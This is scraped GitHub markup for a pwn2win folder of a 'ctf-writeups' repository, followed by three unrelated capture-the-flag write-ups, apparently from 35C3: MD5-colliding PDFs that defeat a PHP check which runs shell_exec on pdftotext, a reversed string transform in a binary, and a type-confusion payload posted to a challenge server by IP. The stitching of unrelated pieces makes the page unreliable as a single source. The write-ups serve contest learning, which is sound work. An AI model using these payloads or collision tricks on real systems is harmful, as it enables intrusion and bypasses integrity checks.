0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/diofeher/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":113044948,"originating_url":"https://github.com/diofeher/ctf-writeups/tree/master/2018-12-01-pwn2win","user_id":null}}" data-hydro-click-hmac="40ee3d913ed1c3237b7fdd2c433e4369382f6ff20ac070add14ed9f684fcc81a"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/diofeher/ctf-writeups/refs" cache-key="v0:1512393478.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ZGlvZmVoZXIvY3RmLXdyaXRldXBz" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/diofeher/ctf-writeups/refs" cache-key="v0:1512393478.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ZGlvZmVoZXIvY3RmLXdyaXRldXBz" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span>2018-12-01-pwn2win<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span>2018-12-01-pwn2win<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/diofeher/ctf-writeups/tree-commit/b82eaae064fe5339c69892dd084e0f1915ca8bb5/2018-12-01-pwn2win" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/diofeher/ctf-writeups/file-list/master/2018-12-01-pwn2win"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>bavarian.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>megapolyglot.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
The source code for the PHP page is in Src.tgz.There is probably no PHP exploit here, you really need to upload two files with same MD5 hash. ```if(! strstr(shell_exec("pdftotext $pdf1 - | head -n 1 | grep -oP '^NO FLAG!$'"), "NO FLAG!")) { die("The first pdf does not contain 'NO FLAG!'"); }``` First we think about uploading the same file (including both strings), but the `head -n 1` command prints only the first line - so this won't work. Then we've found this cool page about MD5:[https://github.com/corkami/pocs/blob/master/collisions/README.md](https://github.com/corkami/pocs/blob/master/collisions/README.md) There is a script for generating collisions for several formats including PDF:```echo "NO FLAG!" | enscript -B -o - | ps2pdf - no.pdfecho "GIVE FLAG!" | enscript -B -o - | ps2pdf - give.pdfpython pdf.py no.pdf give.pdf``` It creates two files `collision1.pdf` and `collision2.pdf` in less then second... The flag is:`35C3_N3v3r_TrusT_MD5`
## Shoop (Reversing 370 points) ![](Shoop.png) ![](Hint.png) The hint suggests that we need to reverse a string manipulation process. Lets get and look at the decompiled source code. The binary can be decompiled using RetDec Decompiler(Open Source) or IDA Pro (Licensed) ## Exploring the decompiled source code ```int __cdecl main(int argc, const char **argv, const char **envp){ _BYTE *src; // [sp+10h] [bp-20h]@1 void *s; // [sp+18h] [bp-18h]@1 signed int k; // [sp+24h] [bp-Ch]@7 signed int j; // [sp+28h] [bp-8h]@4 signed int i; // [sp+2Ch] [bp-4h]@1 setvbuf(_bss_start, 0LL, 2, 0x14uLL); setvbuf(stdin, 0LL, 2, 0x14uLL); s = malloc(0x16uLL); memset(s, 0, 0x16uLL); printf("Gimme that good stuff: ", 0LL); read(0, s, 0x15uLL); src = malloc(0x15uLL); for ( i = 20; i >= 0; --i ) src[21 - i - 1] = *((_BYTE *)s + i); memcpy(s, src, 0x15uLL); for ( j = 0; j < 21; ++j ) *((_BYTE *)s + j) -= 5; for ( k = 0; k < 21; ++k ) src[k] = *((_BYTE *)s + (k + 10) % 21); memcpy(s, src, 0x15uLL); printf("Survey Says! %s\n", s); if ( !memcmp(s, "jmt_j]tm`q`t_j]mpjtf^", 0x15uLL) ) { puts("That's right!"); system("/bin/cat ./flag"); } else { puts("Close... probably"); } return 0;} ```From the source code, we can understand that our input string goes through three steps.1. String Reversal2. Caesar Cipher3. String Jumble So to reverse this, we just need to reverse each step on the output```output = "jmt_j]tm`q`t_j]mpjtf^"outputcode = [ord(i) for i in output]inputcode = ["0"] * 21for i in range(21): inputcode[i] = outputcode[((11 + i) % 21)] inputcode = [i+5 for i in inputcode]inputcode = inputcode[::-1]print "".join([chr(i) for i in inputcode])```You get the key as "everybodyrockyourbody" and providing that gives the flag
weeterpreter.ts:```externals.addFunction( // Wee is statically typed. Finding a way to confuse the VM is impossible. "assert_string", [{name: "str", type: compiler.StringType}], compiler.StringType, false, (str: string) => typeof str == "string" ? "WEE is statically typed. Sorry, confusing the VM is impossible." : flags.WEE_TOKEN )``` One of a possible solution is a "string" record:```record stringendalert(assert_string(string()))``` Full python code: ```import jsonimport urllib2 data = { 'code': "record string\nend\nalert(assert_string(string()))"} req = urllib2.Request('http://35.207.189.79/wee/run')req.add_header('Content-Type', 'application/json') response = urllib2.urlopen(req, json.dumps(data))the_page = response.read()print the_page``` The flag:`35C3_WEE_IS_TINY_AND_SO_CONFU5ED`
